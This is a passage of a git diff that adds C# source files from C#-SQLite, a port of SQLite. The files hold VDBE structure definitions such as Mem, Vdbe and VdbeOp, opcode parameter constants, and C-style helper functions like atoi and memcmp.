Pgno payloadSize; /* Total number of bytes in the record */ + public u32[] aType; /* Type values for all entries in the record */ + public u32[] aOffset; /* Cached offsets to the start of each columns data */ + public int aRow; /* Pointer to Data for the current row, if all on one page */ + + }; + //typedef struct VdbeCursor VdbeCursor; + + + /* + ** A value for VdbeCursor.cacheValid that means the cache is always invalid. + */ + const int CACHE_STALE = 0; + + /* + ** Internally, the vdbe manipulates nearly all SQL values as Mem + ** structures. Each Mem struct may cache multiple representations (string, + ** integer etc.) of the same value. A value (and therefore Mem structure) + ** has the following properties: + ** + ** Each value has a manifest type. The manifest type of the value stored + ** in a Mem struct is returned by the MemType(Mem*) macro. The type is + ** one of SQLITE_NULL, SQLITE_INTEGER, SQLITE_REAL, SQLITE_TEXT or + ** SQLITE_BLOB. + */ + public class Mem + { + public struct union_ip + { +#if DEBUG_CLASS_MEM || DEBUG_CLASS_ALL +public i64 _i; /* First operand */ +public i64 i +{ +get { return _i; } +set { _i = value; } +} +#else + public i64 i; /* Integer value. */ +#endif + public int nZero; /* Used when bit MEM_Zero is set in flags */ + public FuncDef pDef; /* Used only when flags==MEM_Agg */ + public RowSet pRowSet; /* Used only when flags==MEM_RowSet */ + }; + public union_ip u; + public double r; /* Real value */ + public sqlite3 db; /* The associated database connection */ + public string z; /* String value */ + public byte[] zBLOB; /* BLOB value */ + public int n; /* Number of characters in string value, excluding '\0' */ +#if DEBUG_CLASS_MEM || DEBUG_CLASS_ALL +public u16 _flags; /* First operand */ +public u16 flags +{ +get { return _flags; } +set { _flags = value; } +} +#else + public u16 flags = MEM_Null; /* Some combination of MEM_Null, MEM_Str, MEM_Dyn, etc. */ +#endif + public u8 type = SQLITE_NULL; /* One of SQLITE_NULL, SQLITE_TEXT, SQLITE_INTEGER, etc */ + public u8 enc; /* SQLITE_UTF8, SQLITE_UTF16BE, SQLITE_UTF16LE */ + public dxDel xDel; /* If not null, call this function to delete Mem.z */ + // Not used under c# + //public string zMalloc; /* Dynamic buffer allocated by sqlite3Malloc() */ + public Mem _Mem; /* Used when C# overload Z as MEM space */ + public SumCtx _SumCtx; /* Used when C# overload Z as Sum context */ + public StrAccum _StrAccum; /* Used when C# overload Z as STR context */ + public object _MD5Context; /* Used when C# overload Z as MD5 context */ + + + public void CopyTo( Mem ct ) + { + ct.u = u; + ct.r = r; + ct.db = db; + ct.z = z; + if ( zBLOB == null ) zBLOB = null; + else { ct.zBLOB = (byte[])zBLOB.Clone(); } + ct.n = n; + ct.flags = flags; + ct.type = type; + ct.enc = enc; + ct.xDel = xDel; + } + + }; + + /* One or more of the following flags are set to indicate the validOK + ** representations of the value stored in the Mem struct. + ** + ** If the MEM_Null flag is set, then the value is an SQL NULL value. + ** No other flags may be set in this case. + ** + ** If the MEM_Str flag is set then Mem.z points at a string representation. + ** Usually this is encoded in the same unicode encoding as the main + ** database (see below for exceptions). If the MEM_Term flag is also + ** set, then the string is nul terminated. The MEM_Int and MEM_Real + ** flags may coexist with the MEM_Str flag. + ** + ** Multiple of these values can appear in Mem.flags. But only one + ** at a time can appear in Mem.type. + */ + //#define MEM_Null 0x0001 /* Value is NULL */ + //#define MEM_Str 0x0002 /* Value is a string */ + //#define MEM_Int 0x0004 /* Value is an integer */ + //#define MEM_Real 0x0008 /* Value is a real number */ + //#define MEM_Blob 0x0010 /* Value is a BLOB */ + //#define MEM_RowSet 0x0020 /* Value is a RowSet object */ + //#define MEM_TypeMask 0x00ff /* Mask of type bits */ + const int MEM_Null = 0x0001; /* Value is NULL */ + const int MEM_Str = 0x0002; /* Value is a string */ + const int MEM_Int = 0x0004; /* Value is an integer */ + const int MEM_Real = 0x0008; /* Value is a real number */ + const int MEM_Blob = 0x0010; /* Value is a BLOB */ + const int MEM_RowSet = 0x0020; /* Value is a RowSet object */ + const int MEM_TypeMask = 0x00ff; /* Mask of type bits */ + + /* Whenever Mem contains a valid string or blob representation, one of + ** the following flags must be set to determine the memory management + ** policy for Mem.z. The MEM_Term flag tells us whether or not the + ** string is \000 or \u0000 terminated + // */ + //#define MEM_Term 0x0200 /* String rep is nul terminated */ + //#define MEM_Dyn 0x0400 /* Need to call sqliteFree() on Mem.z */ + //#define MEM_Static 0x0800 /* Mem.z points to a static string */ + //#define MEM_Ephem 0x1000 /* Mem.z points to an ephemeral string */ + //#define MEM_Agg 0x2000 /* Mem.z points to an agg function context */ + //#define MEM_Zero 0x4000 /* Mem.i contains count of 0s appended to blob */ +//#ifdef SQLITE_OMIT_INCRBLOB +// #undef MEM_Zero +// #define MEM_Zero 0x0000 +//#endif + const int MEM_Term = 0x0200; + const int MEM_Dyn = 0x0400; + const int MEM_Static = 0x0800; + const int MEM_Ephem = 0x1000; + const int MEM_Agg = 0x2000; +#if !SQLITE_OMIT_INCRBLOB + const int MEM_Zero = 0x4000; +#else + const int MEM_Zero = 0x0000; +#endif + + /* + ** Clear any existing type flags from a Mem and replace them with f + */ + //#define MemSetTypeFlag(p, f) \ + // ((p)->flags = ((p)->flags&~(MEM_TypeMask|MEM_Zero))|f) + static void MemSetTypeFlag( Mem p, int f ) { p.flags = (u16)( p.flags & ~( MEM_TypeMask | MEM_Zero ) | f ); }// TODO -- Convert back to inline for speed + +#if SQLITE_OMIT_INCRBLOB + //#undef MEM_Zero +#endif + + /* A VdbeFunc is just a FuncDef (defined in sqliteInt.h) that contains +** additional information about auxiliary information bound to arguments +** of the function. This is used to implement the sqlite3_get_auxdata() +** and sqlite3_set_auxdata() APIs. The "auxdata" is some auxiliary data +** that can be associated with a constant argument to a function. This +** allows functions such as "regexp" to compile their constant regular +** expression argument once and reused the compiled code for multiple +** invocations. +*/ + public class AuxData + { + public string pAux; /* Aux data for the i-th argument */ + public dxDel xDelete; //(void *); /* Destructor for the aux data */ + }; + public class VdbeFunc : FuncDef + { + public FuncDef pFunc; /* The definition of the function */ + public int nAux; /* Number of entries allocated for apAux[] */ + public AuxData[] apAux = new AuxData[2]; /* One slot for each function argument */ + }; + + /* + ** The "context" argument for a installable function. A pointer to an + ** instance of this structure is the first argument to the routines used + ** implement the SQL functions. + ** + ** There is a typedef for this structure in sqlite.h. So all routines, + ** even the public interface to SQLite, can use a pointer to this structure. + ** But this file is the only place where the internal details of this + ** structure are known. + ** + ** This structure is defined inside of vdbeInt.h because it uses substructures + ** (Mem) which are only defined there. + */ + public class sqlite3_context + { + public FuncDef pFunc; /* Pointer to function information. MUST BE FIRST */ + public VdbeFunc pVdbeFunc; /* Auxilary data, if created. */ + public Mem s = new Mem(); /* The return value is stored here */ + public Mem pMem; /* Memory cell used to store aggregate context */ + public int isError; /* Error code returned by the function. */ + public CollSeq pColl; /* Collating sequence */ + }; + + /* + ** A Set structure is used for quick testing to see if a value + ** is part of a small set. Sets are used to implement code like + ** this: + ** x.y IN ('hi','hoo','hum') + */ + //typedef struct Set Set; + public class Set + { + Hash hash; /* A set is just a hash table */ + HashElem prev; /* Previously accessed hash elemen */ + }; + + /* + ** A Context stores the last insert rowid, the last statement change count, + ** and the current statement change count (i.e. changes since last statement). + ** The current keylist is also stored in the context. + ** Elements of Context structure type make up the ContextStack, which is + ** updated by the ContextPush and ContextPop opcodes (used by triggers). + ** The context is pushed before executing a trigger a popped when the + ** trigger finishes. + */ + //typedef struct Context Context; + public class Context + { + public i64 lastRowid; /* Last insert rowid (sqlite3.lastRowid) */ + public int nChange; /* Statement changes (Vdbe.nChanges) */ + }; + + /* + ** An instance of the virtual machine. This structure contains the complete + ** state of the virtual machine. + ** + ** The "sqlite3_stmt" structure pointer that is returned by sqlite3_compile() + ** is really a pointer to an instance of this structure. + ** + ** The Vdbe.inVtabMethod variable is set to non-zero for the duration of + ** any virtual table method invocations made by the vdbe program. It is + ** set to 2 for xDestroy method calls and 1 for all other methods. This + ** variable is used for two purposes: to allow xDestroy methods to execute + ** "DROP TABLE" statements and to prevent some nasty side effects of + ** malloc failure when SQLite is invoked recursively by a virtual table + ** method function. + */ + public class Vdbe + { + public sqlite3 db; /* The database connection that owns this statement */ + public Vdbe pPrev; /* Linked list of VDBEs with the same Vdbe.db */ + public Vdbe pNext; /* Linked list of VDBEs with the same Vdbe.db */ + public int nOp; /* Number of instructions in the program */ + public int nOpAlloc; /* Number of slots allocated for aOp[] */ + public Op[] aOp; /* Space to hold the virtual machine's program */ + public int nLabel; /* Number of labels used */ + public int nLabelAlloc; /* Number of slots allocated in aLabel[] */ + public int[] aLabel; /* Space to hold the labels */ + public Mem[] apArg; /* Arguments to currently executing user function */ + public Mem[] aColName; /* Column names to return */ + public Mem[] pResultSet; /* Pointer to an array of results */ + public u16 nResColumn; /* Number of columns in one row of the result set */ + public u16 nCursor; /* Number of slots in apCsr[] */ + public VdbeCursor[] apCsr; /* One element of this array for each open cursor */ + public u8 errorAction; /* Recovery action to do in case of an error */ + public u8 okVar; /* True if azVar[] has been initialized */ + public u16 nVar; /* Number of entries in aVar[] */ + public Mem[] aVar; /* Values for the OP_Variable opcode. */ + public string[] azVar; /* Name of variables */ + public u32 magic; /* Magic number for sanity checking */ + public int nMem; /* Number of memory locations currently allocated */ + public Mem[] aMem; /* The memory locations */ + public int cacheCtr; /* VdbeCursor row cache generation counter */ + public int contextStackTop; /* Index of top element in the context stack */ + public int contextStackDepth; /* The size of the "context" stack */ + public Context[] contextStack; /* Stack used by opcodes ContextPush & ContextPop*/ + public int pc; /* The program counter */ + public int rc; /* Value to return */ + public string zErrMsg; /* Error message written here */ + public int explain; /* True if EXPLAIN present on SQL command */ + public bool changeCntOn; /* True to update the change-counter */ + public bool expired; /* True if the VM needs to be recompiled */ + public int minWriteFileFormat; /* Minimum file format for writable database files */ + public int inVtabMethod; /* See comments above */ + public bool usesStmtJournal; /* True if uses a statement journal */ + public bool readOnly; /* True for read-only statements */ + public int nChange; /* Number of db changes made since last reset */ + public bool isPrepareV2; /* True if prepared with prepare_v2() */ + public int btreeMask; /* Bitmask of db.aDb[] entries referenced */ + public u64 startTime; /* Time when query started - used for profiling */ + public BtreeMutexArray aMutex; /* An array of Btree used here and needing locks */ + public int[] aCounter = new int[2]; /* Counters used by sqlite3_stmt_status() */ + public string zSql = ""; /* Text of the SQL statement that generated this */ + public object pFree; /* Free this when deleting the vdbe */ + public int iStatement; /* Statement number (or 0 if has not opened stmt) */ +#if SQLITE_DEBUG + public FILE trace; /* Write an execution trace here, if not NULL */ +#endif + + public Vdbe Copy() + { + Vdbe cp = (Vdbe)MemberwiseClone(); + return cp; + } + public void CopyTo( Vdbe ct ) + { + ct.db = db; + ct.pPrev = pPrev; + ct.pNext = pNext; + ct.nOp = nOp; + ct.nOpAlloc = nOpAlloc; + ct.aOp = aOp; + ct.nLabel = nLabel; + ct.nLabelAlloc = nLabelAlloc; + ct.aLabel = aLabel; + ct.apArg = apArg; + ct.aColName = aColName; + ct.nCursor = nCursor; + ct.apCsr = apCsr; + ct.nVar = nVar; + ct.aVar = aVar; + ct.azVar = azVar; + ct.okVar = okVar; + ct.magic = magic; + ct.nMem = nMem; + ct.aMem = aMem; + ct.cacheCtr = cacheCtr; + ct.contextStackTop = contextStackTop; + ct.contextStackDepth = contextStackDepth; + ct.contextStack = contextStack; + ct.pc = pc; + ct.rc = rc; + ct.errorAction = errorAction; + ct.nResColumn = nResColumn; + ct.zErrMsg = zErrMsg; + ct.pResultSet = pResultSet; + ct.explain = explain; + ct.changeCntOn = changeCntOn; + ct.expired = expired; + ct.minWriteFileFormat = minWriteFileFormat; + ct.inVtabMethod = inVtabMethod; + ct.usesStmtJournal = usesStmtJournal; + ct.readOnly = readOnly; + ct.nChange = nChange; + ct.isPrepareV2 = isPrepareV2; + ct.startTime = startTime; + ct.btreeMask = btreeMask; + ct.aMutex = aMutex; + aCounter.CopyTo( ct.aCounter, 0 ); + ct.zSql = zSql; + ct.pFree = pFree; +#if SQLITE_DEBUG + ct.trace = trace; +#endif + ct.iStatement = iStatement; + +#if SQLITE_SSE +ct.fetchId=fetchId; +ct.lru=lru; +#endif +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +ct.pLruPrev=pLruPrev; +ct.pLruNext=pLruNext; +#endif + } + }; + + /* + ** The following are allowed values for Vdbe.magic + */ + //#define VDBE_MAGIC_INIT 0x26bceaa5 /* Building a VDBE program */ + //#define VDBE_MAGIC_RUN 0xbdf20da3 /* VDBE is ready to execute */ + //#define VDBE_MAGIC_HALT 0x519c2973 /* VDBE has completed execution */ + //#define VDBE_MAGIC_DEAD 0xb606c3c8 /* The VDBE has been deallocated */ + const u32 VDBE_MAGIC_INIT = 0x26bceaa5; /* Building a VDBE program */ + const u32 VDBE_MAGIC_RUN = 0xbdf20da3; /* VDBE is ready to execute */ + const u32 VDBE_MAGIC_HALT = 0x519c2973; /* VDBE has completed execution */ + const u32 VDBE_MAGIC_DEAD = 0xb606c3c8; /* The VDBE has been deallocated */ + /* + ** Function prototypes + */ + //void sqlite3VdbeFreeCursor(Vdbe *, VdbeCursor*); + //void sqliteVdbePopStack(Vdbe*,int); + //int sqlite3VdbeCursorMoveto(VdbeCursor*); + //#if defined(SQLITE_DEBUG) || defined(VDBE_PROFILE) + //void sqlite3VdbePrintOp(FILE*, int, Op*); + //#endif + //u32 sqlite3VdbeSerialTypeLen(u32); + //u32 sqlite3VdbeSerialType(Mem*, int); + //u32sqlite3VdbeSerialPut(unsigned char*, int, Mem*, int); + //u32 sqlite3VdbeSerialGet(const unsigned char*, u32, Mem*); + //void sqlite3VdbeDeleteAuxData(VdbeFunc*, int); + + //int sqlite2BtreeKeyCompare(BtCursor *, const void *, int, int, int *); + //int sqlite3VdbeIdxKeyCompare(VdbeCursor*,UnpackedRecord*,int*); + //int sqlite3VdbeIdxRowid(sqlite3 *, i64 *); + //int sqlite3MemCompare(const Mem*, const Mem*, const CollSeq*); + //int sqlite3VdbeExec(Vdbe*); + //int sqlite3VdbeList(Vdbe*); + //int sqlite3VdbeHalt(Vdbe*); + //int sqlite3VdbeChangeEncoding(Mem *, int); + //int sqlite3VdbeMemTooBig(Mem*); + //int sqlite3VdbeMemCopy(Mem*, const Mem*); + //void sqlite3VdbeMemShallowCopy(Mem*, const Mem*, int); + //void sqlite3VdbeMemMove(Mem*, Mem*); + //int sqlite3VdbeMemNulTerminate(Mem*); + //int sqlite3VdbeMemSetStr(Mem*, const char*, int, u8, void(*)(void*)); + //void sqlite3VdbeMemSetInt64(Mem*, i64); + //void sqlite3VdbeMemSetDouble(Mem*, double); + //void sqlite3VdbeMemSetNull(Mem*); + //void sqlite3VdbeMemSetZeroBlob(Mem*,int); + //void sqlite3VdbeMemSetRowSet(Mem*); + //int sqlite3VdbeMemMakeWriteable(Mem*); + //int sqlite3VdbeMemStringify(Mem*, int); + //i64 sqlite3VdbeIntValue(Mem*); + //int sqlite3VdbeMemIntegerify(Mem*); + //double sqlite3VdbeRealValue(Mem*); + //void sqlite3VdbeIntegerAffinity(Mem*); + //int sqlite3VdbeMemRealify(Mem*); + //int sqlite3VdbeMemNumerify(Mem*); + //int sqlite3VdbeMemFromBtree(BtCursor*,int,int,int,Mem*); + //void sqlite3VdbeMemRelease(Mem p); + //void sqlite3VdbeMemReleaseExternal(Mem p); + //int sqlite3VdbeMemFinalize(Mem*, FuncDef*); + //const char *sqlite3OpcodeName(int); + //int sqlite3VdbeOpcodeHasProperty(int, int); + //int sqlite3VdbeMemGrow(Mem pMem, int n, int preserve); + //int sqlite3VdbeCloseStatement(Vdbe *, int); + //#if SQLITE_ENABLE_MEMORY_MANAGEMENT + //int sqlite3VdbeReleaseBuffers(Vdbe p); + //#endif + +#if !SQLITE_OMIT_SHARED_CACHE +//void sqlite3VdbeMutexArrayEnter(Vdbe *p); +#else + //# define sqlite3VdbeMutexArrayEnter(p) + static void sqlite3VdbeMutexArrayEnter( Vdbe p ) { } +#endif + + //int sqlite3VdbeMemTranslate(Mem*, u8); + //#if SQLITE_DEBUG + // void sqlite3VdbePrintSql(Vdbe*); + // void sqlite3VdbeMemPrettyPrint(Mem pMem, char *zBuf); + //#endif + //int sqlite3VdbeMemHandleBom(Mem pMem); + +#if !SQLITE_OMIT_INCRBLOB +// int sqlite3VdbeMemExpandBlob(Mem *); +#else + // #define sqlite3VdbeMemExpandBlob(x) SQLITE_OK + static int sqlite3VdbeMemExpandBlob( Mem x ) { return SQLITE_OK; } +#endif + + //#endif /* !_VDBEINT_H_) */ + } +} diff --git a/SQLite/src/Vdbe_h.cs b/SQLite/src/Vdbe_h.cs new file mode 100644 index 0000000..a907751 --- /dev/null +++ b/SQLite/src/Vdbe_h.cs @@ -0,0 +1,277 @@ +using i64 = System.Int64; +using u8 = System.Byte; +using u64 = System.UInt64; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** Header file for the Virtual DataBase Engine (VDBE) + ** + ** This header defines the interface to the virtual database engine + ** or VDBE. The VDBE implements an abstract machine that runs a + ** simple program to access and modify the underlying database. + ** + ** $Id: vdbe.h,v 1.142 2009/07/24 17:58:53 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#if !_SQLITE_VDBE_H_ + //#define _SQLITE_VDBE_H_ + //#include + + /* + ** A single VDBE is an opaque structure named "Vdbe". Only routines + ** in the source file sqliteVdbe.c are allowed to see the insides + ** of this structure. + */ + //typedef struct Vdbe Vdbe; + + /* + ** The names of the following types declared in vdbeInt.h are required + ** for the VdbeOp definition. + */ + //typedef struct VdbeFunc VdbeFunc; + //typedef struct Mem Mem; + + /* + ** A single instruction of the virtual machine has an opcode + ** and as many as three operands. The instruction is recorded + ** as an instance of the following structure: + */ + public class union_p4 + { /* forth parameter */ + public int i; /* Integer value if p4type==P4_INT32 */ + public object p; /* Generic pointer */ + //public string z; /* Pointer to data for string (char array) types */ + public string z; // In C# string is unicode, so use byte[] instead + public i64 pI64; /* Used when p4type is P4_INT64 */ + public double pReal; /* Used when p4type is P4_REAL */ + public FuncDef pFunc; /* Used when p4type is P4_FUNCDEF */ + public VdbeFunc pVdbeFunc; /* Used when p4type is P4_VDBEFUNC */ + public CollSeq pColl; /* Used when p4type is P4_COLLSEQ */ + public Mem pMem; /* Used when p4type is P4_MEM */ + public VTable pVtab; /* Used when p4type is P4_VTAB */ + public KeyInfo pKeyInfo; /* Used when p4type is P4_KEYINFO */ + public int[] ai; /* Used when p4type is P4_INTARRAY */ + public dxDel pFuncDel; /* Used when p4type is P4_FUNCDEL */ + } ; + public class VdbeOp + { + public u8 opcode; /* What operation to perform */ + public int p4type; /* One of the P4_xxx constants for p4 */ + public u8 opflags; /* Not currently used */ + public u8 p5; /* Fifth parameter is an unsigned character */ +#if DEBUG_CLASS_VDBEOP || DEBUG_CLASS_ALL +public int _p1; /* First operand */ +public int p1 +{ +get { return _p1; } +set { _p1 = value; } +} + +public int _p2; /* Second parameter (often the jump destination) */ +public int p2 +{ +get { return _p2; } +set { _p2 = value; } +} + +public int _p3; /* The third parameter */ +public int p3 +{ +get { return _p3; } +set { _p3 = value; } +} +#else + public int p1; /* First operand */ + public int p2; /* Second parameter (often the jump destination) */ + public int p3; /* The third parameter */ +#endif + public union_p4 p4 = new union_p4(); +#if SQLITE_DEBUG || DEBUG + public string zComment; /* Comment to improve readability */ +#endif +#if VDBE_PROFILE +public int cnt; /* Number of times this instruction was executed */ +public u64 cycles; /* Total time spend executing this instruction */ +#endif + }; + //typedef struct VdbeOp VdbeOp; + + /* + ** A smaller version of VdbeOp used for the VdbeAddOpList() function because + ** it takes up less space. + */ + public struct VdbeOpList + { + public u8 opcode; /* What operation to perform */ + public int p1; /* First operand */ + public int p2; /* Second parameter (often the jump destination) */ + public int p3; /* Third parameter */ + public VdbeOpList( u8 opcode, int p1, int p2, int p3 ) + { + this.opcode = opcode; + this.p1 = p1; + this.p2 = p2; + this.p3 = p3; + } + + }; + //typedef struct VdbeOpList VdbeOpList; + + /* + ** Allowed values of VdbeOp.p3type + */ + const int P4_NOTUSED = 0; /* The P4 parameter is not used */ + const int P4_DYNAMIC = ( -1 ); /* Pointer to a string obtained from sqliteMalloc=(); */ + const int P4_STATIC = ( -2 ); /* Pointer to a static string */ + const int P4_COLLSEQ = ( -4 ); /* P4 is a pointer to a CollSeq structure */ + const int P4_FUNCDEF = ( -5 ); /* P4 is a pointer to a FuncDef structure */ + const int P4_KEYINFO = ( -6 ); /* P4 is a pointer to a KeyInfo structure */ + const int P4_VDBEFUNC = ( -7 ); /* P4 is a pointer to a VdbeFunc structure */ + const int P4_MEM = ( -8 ); /* P4 is a pointer to a Mem* structure */ + const int P4_TRANSIENT = ( -9 ); /* P4 is a pointer to a transient string */ + const int P4_VTAB = ( -10 ); /* P4 is a pointer to an sqlite3_vtab structure */ + const int P4_MPRINTF = ( -11 ); /* P4 is a string obtained from sqlite3_mprintf=(); */ + const int P4_REAL = ( -12 ); /* P4 is a 64-bit floating point value */ + const int P4_INT64 = ( -13 ); /* P4 is a 64-bit signed integer */ + const int P4_INT32 = ( -14 ); /* P4 is a 32-bit signed integer */ + const int P4_INTARRAY = ( -15 ); /* #define P4_INTARRAY (-15) /* P4 is a vector of 32-bit integers */ + + /* When adding a P4 argument using P4_KEYINFO, a copy of the KeyInfo structure + ** is made. That copy is freed when the Vdbe is finalized. But if the + ** argument is P4_KEYINFO_HANDOFF, the passed in pointer is used. It still + ** gets freed when the Vdbe is finalized so it still should be obtained + ** from a single sqliteMalloc(). But no copy is made and the calling + ** function should *not* try to free the KeyInfo. + */ + const int P4_KEYINFO_HANDOFF = ( -16 ); // #define P4_KEYINFO_HANDOFF (-16) + const int P4_KEYINFO_STATIC = ( -17 ); // #define P4_KEYINFO_STATIC (-17) + + /* + ** The Vdbe.aColName array contains 5n Mem structures, where n is the + ** number of columns of data returned by the statement. + */ + //#define COLNAME_NAME 0 + //#define COLNAME_DECLTYPE 1 + //#define COLNAME_DATABASE 2 + //#define COLNAME_TABLE 3 + //#define COLNAME_COLUMN 4 + //#if SQLITE_ENABLE_COLUMN_METADATA + //# define COLNAME_N 5 /* Number of COLNAME_xxx symbols */ + //#else + //# ifdef SQLITE_OMIT_DECLTYPE + //# define COLNAME_N 1 /* Store only the name */ + //# else + //# define COLNAME_N 2 /* Store the name and decltype */ + //# endif + //#endif + const int COLNAME_NAME = 0; + const int COLNAME_DECLTYPE = 1; + const int COLNAME_DATABASE = 2; + const int COLNAME_TABLE = 3; + const int COLNAME_COLUMN = 4; +#if SQLITE_ENABLE_COLUMN_METADATA +const int COLNAME_N = 5; /* Number of COLNAME_xxx symbols */ +#else +# if SQLITE_OMIT_DECLTYPE +const int COLNAME_N = 1; /* Number of COLNAME_xxx symbols */ +# else + const int COLNAME_N = 2; +# endif +#endif + + /* +** The following macro converts a relative address in the p2 field +** of a VdbeOp structure into a negative number so that +** sqlite3VdbeAddOpList() knows that the address is relative. Calling +** the macro again restores the address. +*/ + //#define ADDR(X) (-1-(X)) + static int ADDR( int x ) { return -1 - x; } + /* + ** The makefile scans the vdbe.c source file and creates the "opcodes.h" + ** header file that defines a number for each opcode used by the VDBE. + */ + //#include "opcodes.h" + + /* + ** Prototypes for the VDBE interface. See comments on the implementation + ** for a description of what each of these routines does. + */ + /* + ** Prototypes for the VDBE interface. See comments on the implementation + ** for a description of what each of these routines does. + */ + //Vdbe *sqlite3VdbeCreate(sqlite3*); + //int sqlite3VdbeAddOp0(Vdbe*,int); + //int sqlite3VdbeAddOp1(Vdbe*,int,int); + //int sqlite3VdbeAddOp2(Vdbe*,int,int,int); + //int sqlite3VdbeAddOp3(Vdbe*,int,int,int,int); + //int sqlite3VdbeAddOp4(Vdbe*,int,int,int,int,const char *zP4,int); + //int sqlite3VdbeAddOpList(Vdbe*, int nOp, VdbeOpList const *aOp); + //void sqlite3VdbeChangeP1(Vdbe*, int addr, int P1); + //void sqlite3VdbeChangeP2(Vdbe*, int addr, int P2); + //void sqlite3VdbeChangeP3(Vdbe*, int addr, int P3); + //void sqlite3VdbeChangeP5(Vdbe*, u8 P5); + //void sqlite3VdbeJumpHere(Vdbe*, int addr); + //void sqlite3VdbeChangeToNoop(Vdbe*, int addr, int N); + //void sqlite3VdbeChangeP4(Vdbe*, int addr, const char *zP4, int N); + //void sqlite3VdbeUsesBtree(Vdbe*, int); + //VdbeOp *sqlite3VdbeGetOp(Vdbe*, int); + //int sqlite3VdbeMakeLabel(Vdbe*); + //void sqlite3VdbeDelete(Vdbe*); + //void sqlite3VdbeMakeReady(Vdbe*,int,int,int,int); + //int sqlite3VdbeFinalize(Vdbe*); + //void sqlite3VdbeResolveLabel(Vdbe*, int); + //int sqlite3VdbeCurrentAddr(Vdbe*); + //#if SQLITE_DEBUG + // void sqlite3VdbeTrace(Vdbe*,FILE*); + //#endif + //void sqlite3VdbeResetStepResult(Vdbe*); + //int sqlite3VdbeReset(Vdbe*); + //void sqlite3VdbeSetNumCols(Vdbe*,int); + //int sqlite3VdbeSetColName(Vdbe*, int, int, const char *, void(*)(void*)); + //void sqlite3VdbeCountChanges(Vdbe*); + //sqlite3 *sqlite3VdbeDb(Vdbe*); + //void sqlite3VdbeSetSql(Vdbe*, const char *z, int n, int); + //void sqlite3VdbeSwap(Vdbe*,Vdbe*); + +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +//int sqlite3VdbeReleaseMemory(int); +#endif + //UnpackedRecord *sqlite3VdbeRecordUnpack(KeyInfo*,int,const void*,char*,int); + //void sqlite3VdbeDeleteUnpackedRecord(UnpackedRecord*); + //int sqlite3VdbeRecordCompare(int,const void*,UnpackedRecord*); + + +#if !NDEBUG + //void sqlite3VdbeComment(Vdbe*, const char*, ...); + static void VdbeComment( Vdbe v, string zFormat, params object[] ap ) { sqlite3VdbeComment( v, zFormat, ap ); }//# define VdbeComment(X) sqlite3VdbeComment X + //void sqlite3VdbeNoopComment(Vdbe*, const char*, ...); + static void VdbeNoopComment( Vdbe v, string zFormat, params object[] ap ) { sqlite3VdbeNoopComment( v, zFormat, ap ); }//# define VdbeNoopComment(X) sqlite3VdbeNoopComment X +#else +//# define VdbeComment(X) +static void VdbeComment( Vdbe v, string zFormat, params object[] ap ) { } +//# define VdbeNoopComment(X) +static void VdbeNoopComment( Vdbe v, string zFormat, params object[] ap ) { } +#endif + } +} diff --git a/SQLite/src/_Custom.cs b/SQLite/src/_Custom.cs new file mode 100644 index 0000000..1ed7c09 --- /dev/null +++ b/SQLite/src/_Custom.cs @@ -0,0 +1,441 @@ + /* + ************************************************************************* + ** $Header$ + ************************************************************************* + */ +using System; +using System.Collections.Specialized; +using System.Diagnostics; +using System.IO; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; + +using i64 = System.Int64; + +using u8 = System.Byte; +using u32 = System.UInt32; +using u64 = System.UInt64; +using time_t = System.Int64; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + using sqlite_int64 = System.Int64; + + public partial class CSSQLite + { + + static int atoi( byte[] inStr ) + { return atoi( Encoding.UTF8.GetString( inStr ) ); } + + static int atoi( string inStr ) + { + int i; + for ( i = 0 ; i < inStr.Length ; i++ ) + { + if ( !sqlite3Isdigit( inStr[i] ) && inStr[i] != '-' ) break; + } + int result = 0; + + return ( Int32.TryParse( inStr.Substring( 0, i ), out result ) ? result : 0 ); + } + + static void fprintf( TextWriter tw, string zFormat, params object[] ap ) { tw.Write( sqlite3_mprintf( zFormat, ap ) ); } + static void printf( string zFormat, params object[] ap ) { Console.Out.Write( sqlite3_mprintf( zFormat, ap ) ); } + + + //Byte Buffer Testing + + static int memcmp( byte[] bA, byte[] bB, int Limit ) + { + if ( bA.Length < Limit ) return ( bA.Length < bB.Length ) ? -1 : +1; + if ( bB.Length < Limit ) return +1; + for ( int i = 0 ; i < Limit ; i++ ) + { + if ( bA[i] != bB[i] ) return ( bA[i] < bB[i] ) ? -1 : 1; + } + return 0; + } + + //Byte Buffer & String Testing + static int memcmp( byte[] bA, string B, int Limit ) + { + if ( bA.Length < Limit ) return ( bA.Length < B.Length ) ? -1 : +1; + if ( B.Length < Limit ) return +1; + for ( int i = 0 ; i < Limit ; i++ ) + { + if ( bA[i] != B[i] ) return ( bA[i] < B[i] ) ? -1 : 1; + } + return 0; + } + + //Byte Buffer & String Testing + static int memcmp( string A, byte[] bB, int Limit ) + { + if ( A.Length < Limit ) return ( A.Length < bB.Length ) ? -1 : +1; + if ( bB.Length < Limit ) return +1; + for ( int i = 0 ; i < Limit ; i++ ) + { + if ( A[i] != bB[i] ) return ( A[i] < bB[i] ) ? -1 : 1; + } + return 0; + } + + //String with Offset & String Testing + static int memcmp( byte[] a, int Offset, byte[] b, int Limit ) + { + if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1; + if ( b.Length < Limit ) return +1; + for ( int i = 0 ; i < Limit ; i++ ) + { + if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1; + } + return 0; + } + + static int memcmp( string a, int Offset, byte[] b, int Limit ) + { + if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1; + if ( b.Length < Limit ) return +1; + for ( int i = 0 ; i < Limit ; i++ ) + { + if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1; + } + return 0; + } + + static int memcmp( byte[] a, int Offset, string b, int Limit ) + { + if ( a.Length < Offset + Limit ) return ( a.Length - Offset < b.Length ) ? -1 : +1; + if ( b.Length < Limit ) return +1; + for ( int i = 0 ; i < Limit ; i++ 